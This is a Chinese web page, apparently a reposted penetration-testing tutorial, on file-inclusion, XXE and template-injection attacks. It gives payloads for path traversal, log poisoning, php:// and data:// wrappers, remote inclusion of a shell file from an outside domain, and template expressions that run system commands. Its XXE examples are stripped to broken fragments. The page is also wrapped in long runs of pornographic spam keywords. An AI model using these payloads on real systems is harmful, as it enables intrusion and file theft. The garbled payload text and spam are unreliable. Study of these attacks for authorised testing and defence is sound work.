亚洲欧洲久久av_极品美女国产精品免费一区_老司机网站免费_免费视频入口_人妻网站成熟人妻VA网站_福利视频网站

網站滲透測試 對文件包含注入檢測辦法
  • 更新時間:2025-04-19 23:48:45
  • 開發經驗
  • 發布時間:3年前
  • 674

昨天給大家普及到了滲透測試中執行命令漏洞的檢測方法,今天抽出時間由我們Sine安全的滲透工程師來講下遇到文件包含漏洞以及模板注入漏洞的檢測方法和防御手段,本文僅參考給有授權滲透測試的正規安全檢測的客戶,讓更多的客戶了解到具體測試的內容,是如何進行全面的網站安全測試。


3.8. 文件包含

3.8.1. 基礎

常見的文件包含漏洞的形式為

考慮常用的幾種包含方式為

同目錄包含 file=.htaccess

目錄遍歷 ?file=../../../../../../../../../var/lib/locate.db

日志注入 ?file=../../../../../../../../../var/log/apache/error.log

利用 /proc/self/environ

其中日志可以使用SSH日志或者Web日志等多種日志來源測試

3.8.2. 繞過技巧

常見的應用在文件包含之前,可能會調用函數對其進行判斷,一般有如下幾種繞過方式

3.8.2.1. url編碼繞過

如果WAF中是字符串匹配,可以使用url多次編碼的方式可以繞過

3.8.2.2. 特殊字符繞過

某些情況下,讀文件支持使用Shell通配符,如 ? * 等

url中 使用 ? # 可能會影響include包含的結果

某些情況下,unicode編碼不同但是字形相近的字符有同一個效果

3.8.2.3. %00截斷

幾乎是最常用的方法,條件是magic_quotes_gpc打開,而且php版本小于5.3.4。

3.8.2.4. 長度截斷

Windows上的文件名長度和文件路徑有關。具體關系為:從根目錄計算,文件路徑長度最長為259個bytes。

msdn定義“`#define MAX_PATH 260“`,第260個字符為字符串結尾的“`0“`

linux可以用getconf來判斷文件名長度限制和文件路徑長度限制

獲取最長文件路徑長度:getconf PATH_MAX /root 得到4096 獲取最長文件名:getconf NAME_MAX /root 得到255

那么在長度有限的時候,`././././` (n個) 的形式就可以通過這個把路徑爆掉

在php代碼包含中,這種繞過方式要求php版本 < php 5.2.8

3.8.2.5. 偽協議繞過

遠程包含: 要求 allow_url_fopen=On and allow_url_include=On , payload為 ?file=[http|https|ftp]://域名/shell.txt

PHP INPUT: 把payload放在POST參數中作為包含的文件,要求 allow_url_include=On ,payload為 ?file=php://input

: 使用偽協議讀取文件,payload為 ?file=php://filter/convert.-encode/resource=index.php

DATA: 使用data偽協議讀取文件,payload為 ?file=data://text/plain;,SSBsb3ZlIFBIUAo= 要求 allow_url_include=On

3.9. XXE

3.9.1. XML基礎

XML 指可擴展標記語言(eXtensible Markup Language),是一種用于標記電子文件使其具有結構性的標記語言,被設計用來傳輸和存儲數據。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。目前,XML文件作為配置文件(Spring、Struts2等)、文檔結構說明文件(PDF、RSS等)、圖片格式文件(SVG header)應用比較廣泛。

3.9.2. XXE

當允許引用外部實體時,可通過構造惡意的XML內容,導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等后果。一般的XXE攻擊,只有在服務器有回顯或者報錯的基礎上才能使用XXE漏洞來讀取服務器端文件,但是也可以通過Blind XXE的方式實現攻擊。

3.9.3. 攻擊方式

3.9.3.1. 拒絕服務攻擊

]>

&a2;

若解析過程非常緩慢,則表示測試成功,目標站點可能有拒絕服務漏洞。具體攻擊可使用更多層的迭代或遞歸,也可引用巨大的外部實體,以實現攻擊的效果。

3.9.3.2. 文件讀取

]>

&file;

3.9.3.3. SSRF

]>

4

3.9.3.4. RCE

]>

&xxe;

3.9.3.5. XInclude

3.10 模板注入漏洞

3.10. 模版注入

3.10.1. 簡介

模板引擎用于使用動態數據呈現內容。此上下文數據通常由用戶控制并由模板進行格式化,以生成網頁、電子郵件等。模板引擎通過使用代碼構造(如條件語句、循環等)處理上下文數據,允許在模板中使用強大的語言表達式,以呈現動態內容。如果攻擊者能夠控制要呈現的模板,則他們將能夠注入可暴露上下文數據,甚至在服務器上運行任意命令的表達式。

3.10.2. 測試方法

確定使用的引擎

查看引擎相關的文檔,確定其安全機制以及自帶的函數和變量

需找攻擊面,嘗試攻擊

3.10.3. 測試用例

簡單的數學表達式,{{ 7+7 }} => 14

字符串表達式 {{ "ajin" }} => ajin

Ruby

Java

${7*7}

Twig

{{7*7}}

Smarty

{php}echo `id`;{/php}

AngularJS

$eval('1+1')

Tornado

引用模塊 {% import module %}

=> {% import os %}{{ os.popen("whoami").read() }}

Flask/Jinja2

{{ config.items() }}

{{''.__class__.__mro__[-1].__subclasses__()}}

Django

{{ request }}

{% debug %}

{% load module %}

{% include "x.html" %}

{% extends "x.html" %}

3.10.4. 目標

創建對象

文件讀寫

遠程文件包含

信息泄漏 提權

3.10.5. 相關屬性

3.10.5.1. __class__

python中的新式類(即顯示繼承object對象的類)都有一個屬性 __class__ 用于獲取當前實例對應的類,例如 "".__class__ 就可以獲取到字符串實例對應的類

3.10.5.2. __mro__

python中類對象的 __mro__ 屬性會返回一個tuple對象,其中包含了當前類對象所有繼承的基類,tuple中元素的順序是MRO(Method Resolution Order) 尋找的順序。

3.10.5.3. __globals__

保存了函數所有的所有全局變量,在利用中,可以使用 __init__ 獲取對象的函數,并通過 __globals__ 獲取 file os 等模塊以進行下一步的利用

3.10.5.4. __subclasses__()

python的新式類都保留了它所有的子類的引用,__subclasses__() 這個方法返回了類的所有存活的子類的引用(是類對象引用,不是實例)。

因為python中的類都是繼承object的,所以只要調用object類對象的 __subclasses__() 方法就可以獲取想要的類的對象。這一節滲透測試講到的這些內容和繞過手法,如果對自己網站不太放心的話可以找專業的網站安全公司來處理解決,國內做的比較好的如Sinesafe,綠盟,啟明星辰等等。

我們專注高端建站,小程序開發、軟件系統定制開發、BUG修復、物聯網開發、各類API接口對接開發等。十余年開發經驗,每一個項目承諾做到滿意為止,多一次對比,一定讓您多一份收獲!

本文章出于推來客官網,轉載請表明原文地址:https://www.tlkjt.com/experience/7582.html
推薦文章

在線客服

掃碼聯系客服

3985758

回到頂部

主站蜘蛛池模板: 欧美人与动牲交免费观看_丝袜美女被遭强高潮网站_色欲天天天综合网_亚洲福利_久久三级影院_国产乱子伦在线观看免费_国产精品成人一区二区_久久久日韩精品一区二区 | 精品久久久久久中文字幕无码软件_上海富婆按摩高潮不断_AV天堂久久天堂AV_成年人免费观看视频网站_日韩新片在线观看_欧美另类人妻制服丝袜_秋霞久久久_欧美性黑人极品hd | 91手机在线播放_xxxxhd中国_少妇激情AV一区二区三区_日本a人精品_高大丰满40岁东北少妇_熟女熟妇人妻在线视频_99在线在线视频免费视频观看_日韩国产成人在线 | 老熟妇乱子交视频一区_影视免费观看_国产精品538一区二区在线_久久久噜噜噜久久熟女AA片_91热视频在线观看_国产一级二级视频_久草在线免费福利资源站_av色久 | 欧美性猛交xxxx乱大交俱乐部_久久精品亚洲7777影院_好男人在线影院官网WWW_玩弄丰满奶水的女邻居_国产91免费看_久久久久久久久久久久91_五月婷婷中文字幕_久久青青草原一区二区 | 国产福利一区二区三区在线播放_中文字幕久精品免费视频_毛片a在线_精品黄色视_免费观看韩国理论片_成人免费A级毛片无码_一级免费看_中文字幕永久免费 | 国产一二区av_精品久久香蕉国产线看观看亚洲_91少妇香蕉久久精_国产成人综合亚洲欧美_中文字幕av久久人妻蜜桃臀_亚洲专区在线播放_欧美一级片在线观看_欧洲黑白配一二三四区 | 高清无码中字在线一区二区_免费无码国产V片在线观看_久操免费在线观看_精品久久久久久久久久香蕉_欧美三级毛片_爱情不设限在线观看_想看一级毛片_国产黄色视 | 亚洲国产一区精品_成人福利网址_久久艹在线观看_激情宗合网_xxxx69国产_天天综合色_亚洲人成激情在线播放国_久久婷婷人人澡人人爽人人喊 | 久久这里有精品视频_blacked欧美黑粗硬大_精品自拍最新换脸综合网站_国产精品人成在线观看_在线视频观看你懂得_二区久久_老鸭窝男人的天堂_91一区 | 东京热无码av一区二区_蜜桃视频在线观看入口_中文字字幕在线乱码_国产乱子夫妻_国精品午夜福利视频不卡_男人的天堂日本_蜜芽国产成人精品区_久久嫩草影院免费看 欧美午夜寂寞影院_91精品欧美一区综合在线观看_中文字幕乱码亚洲无线码按摩_免费看片免费播放国产_精品视频二区_韩日a级片_日本XXXX色视频在线观看免费,_亚洲成av人影片在线观看 | 女人久久久_亚洲视频在线网_和大佬在一起的三百六十五天免费观看_久久99精品久久久久久秒播九色_免费无码又爽又刺激动态图_曰韩一二三区_亚洲日本成人在线观看_日韩美女在线观看 | 国产精成人品日日拍夜夜免费_奶头和荫蒂添的好舒服囗交_饥渴少妇高清VIDEOS_国产三级网_国内极品少妇1000激情啪啪千_国产精品福利啪在线观看_日本熟妇无码色视频网站VR_亚洲sss视频在线视频 | 无码国产精品久久一区免费_国产亚洲精品俞拍视频_最近中文字幕免费mv_日韩午夜精品免费理论片_99热r_日韩wwww_欧美男人天堂网_久久久首页 | 人人干在线_www.欧美日本_第四色狠狠_亚洲美女视频在线观看_国产a一级毛片爽爽影院_欧洲激情网_99re免费视频_欧美特黄特色视频 | 麻豆911传媒_视色视频_91成品人网页进入入口_国产精品亚洲一区二区三区天天看_无码人妻aⅴ一区二区三区鲁大师_男人放进女人阳道动态图_久久久网站_99热99热99 | 8x海外华人永久免费_国产一区二区三区av在线_色爱综合网欧美_在线看av网址_午夜嘿嘿_国产91精品入口_国产高清不卡一区二区三区_www.亚洲国产 | 国产人妻一区二区三区四区五区六_美妙人妻瑶瑶1一7_日韩91视频_婷婷色一区_内射老妇BBWX0C0CK_国产第一福利_曰韩毛片_成人av无码国产在线观看 | 色妺妺在线视频_亚洲xxxx天美_蜜臀av国产精品久久久久_综合亚洲AV图片区_亚洲精品av久久久久久久影院_国产人久久人人人人爽_久久影视精品_在线观看亚洲一区二区 | 国产对白女主播勾搭野战在线_69久久无码一区人妻A片_日本久久艹_国产胸大一区二区三区粉嫩思欲_国产高清久久久久久_成人免费网站_超碰在线免费播放_日韩免费视频在线观看 | 国产精品成人av_777亚洲熟妇自拍无码区_精品成人一区二区_成年片黄色日本大片网站视频_国产精品一区二区在线_亚洲青涩网_国产无遮挡裸露视频免费_中国毛片一级片 | AAA无码偷拍亚洲_欧美成人aaaaa片_午夜影院男女_天天综合视频_国产精品亚洲专区在线观看_www.国产网站_37人体做爰久久久久久_爱射综合网 | 美丽姑娘免费高清观看_欧美黑人狂躁日本寡妇_亚洲精品久久无码AV片亚洲有色_国产日韩欧美另类_西西大尺度美軳人人体bt_一个人看的免费视频WWW中文字幕_天堂网www天堂在线资源库_伊人黄网 | 青青成线在人线免费啪_精品亚洲国产成人_中文精品久久久久鬼色_欧洲黄色录像_国产精品一区二区免费久久精品_狠狠色丁香婷婷综合久久来来去_精品自拍亚洲一区在线_国内a级毛片免费观看品善网 | 吖v国产高清在线播放_国产尤物小视频在线观看_91九色婷婷_91杏吧在线观看_成人黄色片在线观看_屁屁影院ccyy备用地址_成人91av_99国产免费网址 | 大青草久久久蜜臀av久久_国产日韩乱码精品一区二区_亚洲国产一成久久精品_免费看日本黄色片_国产精品久久夂夂精品香蕉爆_99久久自偷自偷国产精品不卡_av网址免费在线观看_一个人免费看的WWW在线观看 | 一夲道无码人妻精品一区二区_久久曰曰_51成人_成av在线_伊人久久情人综岁的合网18_国产日本一级二级三级_国产欧美一区二区精品仙草咪_欧美整片sss | 青青草视频偷拍_人人天天操_www·黄_人人射人人草_欧美精品在线一区二区三区_亚洲大片在线播放_国产伦精品一区二区三区视频黑人_www国产精品com | xxx欧美xxx_欧美性free玩弄少妇_女女互磨互喷水高潮les呻吟_亚洲人成视_亚洲一区二区三区久久_97SE亚洲国产综合自在线_日本熟妇人妻xxxx_国模精品视频一区二区 | 丁香伊人网_www.4虎.com_亚洲av日韩av无码尤物_日日夜视频_热re91久久精品国99热蜜臀_青青草娱乐视频_人妻无码一二三区免得_日本卡一卡2卡三卡4乱卡乱码 | 免费A级毛片高清视频哦哦_黑人巨茎美女高潮视频_日本精品一区二区三区在线播放_国产乱AⅤ一区二区三区_99av海角社区_剑来动漫高清在线观看_亚洲色图狠狠爱_成人淫片免费视频95视频 | 久久精品牌麻豆国产大山_亚洲AV无码AV男人的天堂不卡_5252aⅴ爱我愿haose016色_一本之道中文日本高清_黄色小说视频网_免费无码中文字幕A级毛片_国产做爰又粗又大的视频_激情综合色五月丁香六月亚洲 | 青天衙门第一部免费版_粉色视频成人免费观看_国产白嫩漂亮美女在线观看_亚州精品天堂中文字幕_中文字幕av三区_欧美日韩一级黄_一级做a爰片欧美激情床_国产精品二区视频 | 国产成人精品怡红院在线观看_欧美精品欧美精品系列c_国产精品馆_97天天综合网_久久av福利_四虎中文_日本老师xxxx18学生_中国vodafonewifi精品网站 | 国产视频手机在线观看_日韩av免费一区二区_成人性生交大片兜免费看r_又黄又硬又湿又刺激视频免费_久久久精品人妻久久影视_99国产精品欲a_国产成人啪精品视频免费网站_JAPANESE国产在线观看 | 日本a视频在线播放_国产黄色一级毛片_91视频99_国产成人鲁鲁免费视频_亚洲中文无码av永久_国产成人无码AV在线影院_免费成人91_美女视频黄又黄又免费 | 黄色影视网站_在线视频91国产_偷拍自拍视频在线观看_亚洲av人人澡人人爽人人夜夜_一区二区三国产_人妖一级片_放荡的丰满少妇中文字幕_一级片视频免费 | 女人牲交视频一级毛片_免费成人高清视频_精品国产一区二区三区四区在线_欧美人做人爱a全程免费_99re6国产露脸精品视频网站_67194熟妇在线直接进入_精品国产乱码久久久久久郑州公司_麻豆社区 | 91精品国产高清一区二区性色_99热国产在线_国产伦理久久久久久妇女_99热新网址_久久国产精品亚洲人一区二区三区_欧美老人巨大xxxx做受视频_人妻AⅤ无码专区_干干日日 | 国产精品推荐_一级欧美一级日韩片免费观看_日本SM极度另类视频_gg55gg国产成人影院_亚洲精品xx_国产精品av久久久久久网站_91av视屏_强●媚薬レズ狂いatid543 | 91大神在线观看视频_久久国产色av老熟蜜臀av_一本—道久久a久久精品蜜桃_亚洲AV日韩AV鸥美在线观看_国产高潮a片羞羞视频涩涩_久久伊人影院_国产成人无码国产亚洲_成人av视频 |